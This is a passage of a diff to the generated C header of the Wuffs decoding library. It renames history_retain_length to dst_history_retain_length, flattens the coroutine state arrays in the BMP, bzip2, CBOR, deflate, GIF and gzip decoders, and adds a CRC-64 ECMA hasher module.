wuffs_base__optional_u63 ++wuffs_base__io_transformer__dst_history_retain_length( ++ const wuffs_base__io_transformer* self); ++ + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t + wuffs_base__io_transformer__get_quirk( + const wuffs_base__io_transformer* self, + uint32_t a_key); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__io_transformer__history_retain_length( +- const wuffs_base__io_transformer* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status + wuffs_base__io_transformer__set_quirk( +@@ -6531,6 +6904,11 @@ struct wuffs_base__io_transformer__struct { + using unique_ptr = std::unique_ptr; + #endif + ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_base__io_transformer__dst_history_retain_length(this); ++ } ++ + inline uint64_t + get_quirk( + uint32_t a_key) const { +@@ -6538,11 +6916,6 @@ struct wuffs_base__io_transformer__struct { + this, a_key); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_base__io_transformer__history_retain_length(this); +- } +- + inline wuffs_base__status + set_quirk( + uint32_t a_key, +@@ -6583,8 +6956,6 @@ typedef struct wuffs_base__token_decoder__func_ptrs__struct { + uint64_t (*get_quirk)( + const void* self, + uint32_t a_key); +- uint64_t (*history_retain_length)( +- const void* self); + wuffs_base__status (*set_quirk)( + void* self, + uint32_t a_key, +@@ -6609,11 +6980,6 @@ wuffs_base__token_decoder__get_quirk( + const wuffs_base__token_decoder* self, + uint32_t a_key); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__token_decoder__history_retain_length( +- const wuffs_base__token_decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status + wuffs_base__token_decoder__set_quirk( +@@ -6656,11 +7022,6 @@ struct wuffs_base__token_decoder__struct { + this, a_key); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_base__token_decoder__history_retain_length(this); +- } +- + inline wuffs_base__status + set_quirk( + uint32_t a_key, +@@ -6918,9 +7279,7 @@ extern const char wuffs_bmp__error__unsupported_bmp_file[]; + + // ---------------- Public Consts + +-#define WUFFS_BMP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_BMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_BMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +@@ -7053,11 +7412,6 @@ wuffs_bmp__decoder__tell_me_more( + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__history_retain_length( +- const wuffs_bmp__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_bmp__decoder__workbuf_len( +@@ -7116,14 +7470,14 @@ struct wuffs_bmp__decoder__struct { + bool f_rle_padded; + wuffs_base__pixel_swizzler f_swizzler; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_tell_me_more[1]; +- uint32_t p_read_palette[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_tell_me_more; ++ uint32_t p_read_palette; + } private_impl; + + struct { +@@ -7132,14 +7486,14 @@ struct wuffs_bmp__decoder__struct { + + struct { + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; + struct { + uint32_t v_i; + uint64_t scratch; +- } s_read_palette[1]; ++ } s_read_palette; + } private_data; + + #ifdef __cplusplus +@@ -7283,11 +7637,6 @@ struct wuffs_bmp__decoder__struct { + return wuffs_bmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_bmp__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_bmp__decoder__workbuf_len(this); +@@ -7316,9 +7665,9 @@ extern const char wuffs_bzip2__error__unsupported_block_randomization[]; + + // ---------------- Public Consts + +-#define WUFFS_BZIP2__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_BZIP2__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_BZIP2__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_BZIP2__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +@@ -7386,8 +7735,8 @@ wuffs_bzip2__decoder__set_quirk( + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bzip2__decoder__history_retain_length( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_bzip2__decoder__dst_history_retain_length( + const wuffs_bzip2__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +@@ -7452,12 +7801,12 @@ struct wuffs_bzip2__decoder__struct { + uint32_t f_num_sections; + uint32_t f_code_lengths_bitmask; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; +- uint32_t p_prepare_block[1]; +- uint32_t p_read_code_lengths[1]; +- uint32_t p_flush_slow[1]; +- uint32_t p_decode_huffman_slow[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_prepare_block; ++ uint32_t p_read_code_lengths; ++ uint32_t p_flush_slow; ++ uint32_t p_decode_huffman_slow; + } private_impl; + + struct { +@@ -7474,15 +7823,15 @@ struct wuffs_bzip2__decoder__struct { + uint32_t v_i; + uint64_t v_tag; + uint32_t v_final_checksum_want; +- } s_do_transform_io[1]; ++ } s_do_transform_io; + struct { + uint32_t v_i; + uint32_t v_selector; +- } s_prepare_block[1]; ++ } s_prepare_block; + struct { + uint32_t v_i; + uint32_t v_code_length; +- } s_read_code_lengths[1]; ++ } s_read_code_lengths; + struct { + uint32_t v_flush_pointer; + uint32_t v_flush_repeat_count; +@@ -7491,10 +7840,10 @@ struct wuffs_bzip2__decoder__struct { + uint32_t v_block_size; + uint8_t v_curr; + uint64_t scratch; +- } s_flush_slow[1]; ++ } s_flush_slow; + struct { + uint32_t v_node_index; +- } s_decode_huffman_slow[1]; ++ } s_decode_huffman_slow; + } private_data; + + #ifdef __cplusplus +@@ -7572,9 +7921,9 @@ struct wuffs_bzip2__decoder__struct { + return wuffs_bzip2__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_bzip2__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_bzip2__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -7606,25 +7955,23 @@ extern const char wuffs_cbor__error__unsupported_recursion_depth[]; + + // ---------------- Public Consts + +-#define WUFFS_CBOR__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_CBOR__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_CBOR__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_CBOR__DECODER_DEPTH_MAX_INCL 1024u + +-#define WUFFS_CBOR__DECODER_DEPTH_MAX_INCL 1024 ++#define WUFFS_CBOR__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 2u + +-#define WUFFS_CBOR__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 2 ++#define WUFFS_CBOR__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 9u + +-#define WUFFS_CBOR__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 9 ++#define WUFFS_CBOR__TOKEN_VALUE_MAJOR 787997u + +-#define WUFFS_CBOR__TOKEN_VALUE_MAJOR 787997 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__DETAIL_MASK 262143u + +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__DETAIL_MASK 262143 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__MINUS_1_MINUS_X 16777216u + +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__MINUS_1_MINUS_X 16777216 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__SIMPLE_VALUE 8388608u + +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__SIMPLE_VALUE 8388608 +- +-#define WUFFS_CBOR__TOKEN_VALUE_MINOR__TAG 4194304 ++#define WUFFS_CBOR__TOKEN_VALUE_MINOR__TAG 4194304u + + // ---------------- Struct Declarations + +@@ -7691,11 +8038,6 @@ wuffs_cbor__decoder__set_quirk( + uint32_t a_key, + uint64_t a_value); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_cbor__decoder__history_retain_length( +- const wuffs_cbor__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_cbor__decoder__workbuf_len( +@@ -7738,7 +8080,7 @@ struct wuffs_cbor__decoder__struct { + + bool f_end_of_data; + +- uint32_t p_decode_tokens[1]; ++ uint32_t p_decode_tokens; + } private_impl; + + struct { +@@ -7750,7 +8092,7 @@ struct wuffs_cbor__decoder__struct { + uint32_t v_depth; + bool v_tagged; + uint8_t v_indefinite_string_major_type; +- } s_decode_tokens[1]; ++ } s_decode_tokens; + } private_data; + + #ifdef __cplusplus +@@ -7828,11 +8170,6 @@ struct wuffs_cbor__decoder__struct { + return wuffs_cbor__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_cbor__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_cbor__decoder__workbuf_len(this); +@@ -8074,6 +8411,227 @@ struct wuffs_crc32__ieee_hasher__struct { + + #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) || defined(WUFFS_NONMONOLITHIC) + ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++// ---------------- Public Consts ++ ++// ---------------- Struct Declarations ++ ++typedef struct wuffs_crc64__ecma_hasher__struct wuffs_crc64__ecma_hasher; ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++// ---------------- Public Initializer Prototypes ++ ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_crc64__ecma_hasher__initialize( ++ wuffs_crc64__ecma_hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); ++ ++size_t ++sizeof__wuffs_crc64__ecma_hasher(void); ++ ++// ---------------- Allocs ++ ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. ++ ++wuffs_crc64__ecma_hasher* ++wuffs_crc64__ecma_hasher__alloc(void); ++ ++static inline wuffs_base__hasher_u64* ++wuffs_crc64__ecma_hasher__alloc_as__wuffs_base__hasher_u64(void) { ++ return (wuffs_base__hasher_u64*)(wuffs_crc64__ecma_hasher__alloc()); ++} ++ ++// ---------------- Upcasts ++ ++static inline wuffs_base__hasher_u64* ++wuffs_crc64__ecma_hasher__upcast_as__wuffs_base__hasher_u64( ++ wuffs_crc64__ecma_hasher* p) { ++ return (wuffs_base__hasher_u64*)p; ++} ++ ++// ---------------- Public Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__get_quirk( ++ const wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_crc64__ecma_hasher__set_quirk( ++ wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__update( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__update_u64( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__checksum_u64( ++ const wuffs_crc64__ecma_hasher* self); ++ ++#ifdef __cplusplus ++} // extern "C" ++#endif ++ ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_crc64__ecma_hasher__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; ++ wuffs_base__vtable null_vtable; ++ ++ uint64_t f_state; ++ ++ wuffs_base__empty_struct (*choosy_up)( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_crc64__ecma_hasher__alloc()); ++ } ++ ++ static inline wuffs_base__hasher_u64::unique_ptr ++ alloc_as__wuffs_base__hasher_u64() { ++ return wuffs_base__hasher_u64::unique_ptr( ++ wuffs_crc64__ecma_hasher__alloc_as__wuffs_base__hasher_u64()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_crc64__ecma_hasher__struct() = delete; ++ wuffs_crc64__ecma_hasher__struct(const wuffs_crc64__ecma_hasher__struct&) = delete; ++ wuffs_crc64__ecma_hasher__struct& operator=( ++ const wuffs_crc64__ecma_hasher__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_crc64__ecma_hasher__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } ++ ++ inline wuffs_base__hasher_u64* ++ upcast_as__wuffs_base__hasher_u64() { ++ return (wuffs_base__hasher_u64*)this; ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_crc64__ecma_hasher__get_quirk(this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_crc64__ecma_hasher__set_quirk(this, a_key, a_value); ++ } ++ ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_crc64__ecma_hasher__update(this, a_x); ++ } ++ ++ inline uint64_t ++ update_u64( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_crc64__ecma_hasher__update_u64(this, a_x); ++ } ++ ++ inline uint64_t ++ checksum_u64() const { ++ return wuffs_crc64__ecma_hasher__checksum_u64(this); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_crc64__ecma_hasher__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) || defined(WUFFS_NONMONOLITHIC) ++ + #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes +@@ -8095,9 +8653,9 @@ extern const char wuffs_deflate__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_DEFLATE__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_DEFLATE__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_DEFLATE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 ++#define WUFFS_DEFLATE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u + + // ---------------- Struct Declarations + +@@ -8171,8 +8729,8 @@ wuffs_deflate__decoder__set_quirk( + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_deflate__decoder__history_retain_length( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_deflate__decoder__dst_history_retain_length( + const wuffs_deflate__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +@@ -8222,16 +8780,16 @@ struct wuffs_deflate__decoder__struct { + uint32_t f_n_huffs_bits[2]; + bool f_end_of_block; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; +- uint32_t p_decode_blocks[1]; +- uint32_t p_decode_uncompressed[1]; +- uint32_t p_init_dynamic_huffman[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_decode_blocks; ++ uint32_t p_decode_uncompressed; ++ uint32_t p_init_dynamic_huffman; + wuffs_base__status (*choosy_decode_huffman_fast64)( + wuffs_deflate__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src); +- uint32_t p_decode_huffman_slow[1]; ++ uint32_t p_decode_huffman_slow; + } private_impl; + + struct { +@@ -8241,11 +8799,11 @@ struct wuffs_deflate__decoder__struct { + + struct { + uint32_t v_final; +- } s_decode_blocks[1]; ++ } s_decode_blocks; + struct { + uint32_t v_length; + uint64_t scratch; +- } s_decode_uncompressed[1]; ++ } s_decode_uncompressed; + struct { + uint32_t v_bits; + uint32_t v_n_bits; +@@ -8257,7 +8815,7 @@ struct wuffs_deflate__decoder__struct { + uint32_t v_n_extra_bits; + uint8_t v_rep_symbol; + uint32_t v_rep_count; +- } s_init_dynamic_huffman[1]; ++ } s_init_dynamic_huffman; + struct { + uint32_t v_bits; + uint32_t v_n_bits; +@@ -8269,7 +8827,7 @@ struct wuffs_deflate__decoder__struct { + uint32_t v_length; + uint32_t v_dist_minus_1; + uint64_t scratch; +- } s_decode_huffman_slow[1]; ++ } s_decode_huffman_slow; + } private_data; + + #ifdef __cplusplus +@@ -8353,9 +8911,9 @@ struct wuffs_deflate__decoder__struct { + return wuffs_deflate__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_deflate__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_deflate__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -8393,23 +8951,21 @@ extern const char wuffs_gif__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_GIF__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_GIF__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_GIF__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_GIF__QUIRK_DELAY_NUM_DECODED_FRAMES 1041635328u + +-#define WUFFS_GIF__QUIRK_DELAY_NUM_DECODED_FRAMES 1041635328 ++#define WUFFS_GIF__QUIRK_FIRST_FRAME_LOCAL_PALETTE_MEANS_BLACK_BACKGROUND 1041635329u + +-#define WUFFS_GIF__QUIRK_FIRST_FRAME_LOCAL_PALETTE_MEANS_BLACK_BACKGROUND 1041635329 ++#define WUFFS_GIF__QUIRK_HONOR_BACKGROUND_COLOR 1041635330u + +-#define WUFFS_GIF__QUIRK_HONOR_BACKGROUND_COLOR 1041635330 ++#define WUFFS_GIF__QUIRK_IGNORE_TOO_MUCH_PIXEL_DATA 1041635331u + +-#define WUFFS_GIF__QUIRK_IGNORE_TOO_MUCH_PIXEL_DATA 1041635331 ++#define WUFFS_GIF__QUIRK_IMAGE_BOUNDS_ARE_STRICT 1041635332u + +-#define WUFFS_GIF__QUIRK_IMAGE_BOUNDS_ARE_STRICT 1041635332 ++#define WUFFS_GIF__QUIRK_REJECT_EMPTY_FRAME 1041635333u + +-#define WUFFS_GIF__QUIRK_REJECT_EMPTY_FRAME 1041635333 +- +-#define WUFFS_GIF__QUIRK_REJECT_EMPTY_PALETTE 1041635334 ++#define WUFFS_GIF__QUIRK_REJECT_EMPTY_PALETTE 1041635334u + + // ---------------- Struct Declarations + +@@ -8518,11 +9074,6 @@ WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 + wuffs_gif__decoder__frame_dirty_rect( + const wuffs_gif__decoder* self); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__history_retain_length( +- const wuffs_gif__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_gif__decoder__workbuf_len( +@@ -8627,25 +9178,25 @@ struct wuffs_gif__decoder__struct { + uint32_t f_lzw_read_from_return_value; + uint16_t f_lzw_prefixes[4096]; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_tell_me_more[1]; +- uint32_t p_do_tell_me_more[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_skip_frame[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_decode_up_to_id_part1[1]; +- uint32_t p_decode_header[1]; +- uint32_t p_decode_lsd[1]; +- uint32_t p_decode_extension[1]; +- uint32_t p_skip_blocks[1]; +- uint32_t p_decode_ae[1]; +- uint32_t p_decode_gc[1]; +- uint32_t p_decode_id_part0[1]; +- uint32_t p_decode_id_part1[1]; +- uint32_t p_decode_id_part2[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_tell_me_more; ++ uint32_t p_do_tell_me_more; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_skip_frame; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_up_to_id_part1; ++ uint32_t p_decode_header; ++ uint32_t p_decode_lsd; ++ uint32_t p_decode_extension; ++ uint32_t p_skip_blocks; ++ uint32_t p_decode_ae; ++ uint32_t p_decode_gc; ++ uint32_t p_decode_id_part0; ++ uint32_t p_decode_id_part1; ++ uint32_t p_decode_id_part2; + } private_impl; + + struct { +@@ -8658,24 +9209,23 @@ struct wuffs_gif__decoder__struct { + + struct { + uint32_t v_background_color; +- } s_do_decode_frame_config[1]; ++ } s_do_decode_frame_config; + struct { + uint64_t scratch; +- } s_skip_frame[1]; ++ } s_skip_frame; + struct { +- uint8_t v_c[6]; +- uint32_t v_i; +- } s_decode_header[1]; ++ uint64_t scratch; ++ } s_decode_header; + struct { + uint8_t v_flags; + uint8_t v_background_color_index; + uint32_t v_num_palette_entries; + uint32_t v_i; + uint64_t scratch; +- } s_decode_lsd[1]; ++ } s_decode_lsd; + struct { + uint64_t scratch; +- } s_skip_blocks[1]; ++ } s_skip_blocks; + struct { + uint8_t v_block_size; + bool v_is_animexts; +@@ -8683,24 +9233,24 @@ struct wuffs_gif__decoder__struct { + bool v_is_iccp; + bool v_is_xmp; + uint64_t scratch; +- } s_decode_ae[1]; ++ } s_decode_ae; + struct { + uint64_t scratch; +- } s_decode_gc[1]; ++ } s_decode_gc; + struct { + uint64_t scratch; +- } s_decode_id_part0[1]; ++ } s_decode_id_part0; + struct { + uint8_t v_which_palette; + uint32_t v_num_palette_entries; + uint32_t v_i; + uint64_t scratch; +- } s_decode_id_part1[1]; ++ } s_decode_id_part1; + struct { + uint64_t v_block_size; + bool v_need_block_size; + uint64_t scratch; +- } s_decode_id_part2[1]; ++ } s_decode_id_part2; + } private_data; + + #ifdef __cplusplus +@@ -8820,11 +9370,6 @@ struct wuffs_gif__decoder__struct { + return wuffs_gif__decoder__frame_dirty_rect(this); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_gif__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_gif__decoder__workbuf_len(this); +@@ -8873,9 +9418,9 @@ extern const char wuffs_gzip__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_GZIP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_GZIP__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_GZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 ++#define WUFFS_GZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u + + // ---------------- Struct Declarations + +@@ -8943,8 +9488,8 @@ wuffs_gzip__decoder__set_quirk( + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gzip__decoder__history_retain_length( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_gzip__decoder__dst_history_retain_length( + const wuffs_gzip__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +@@ -8989,8 +9534,8 @@ struct wuffs_gzip__decoder__struct { + + bool f_ignore_checksum; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; + } private_impl; + + struct { +@@ -8999,11 +9544,11 @@ struct wuffs_gzip__decoder__struct { + + struct { + uint8_t v_flags; +- uint32_t v_checksum_got; +- uint32_t v_decoded_length_got; ++ uint32_t v_checksum_have; ++ uint32_t v_decoded_length_have; + uint32_t v_checksum_want; + uint64_t scratch; +- } s_do_transform_io[1]; ++ } s_do_transform_io; + } private_data; + + #ifdef __cplusplus +@@ -9081,9 +9626,9 @@ struct wuffs_gzip__decoder__struct { + return wuffs_gzip__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_gzip__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_gzip__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -9117,8 +9662,10 @@ extern const char wuffs_jpeg__error__bad_sof_marker[]; + extern const char 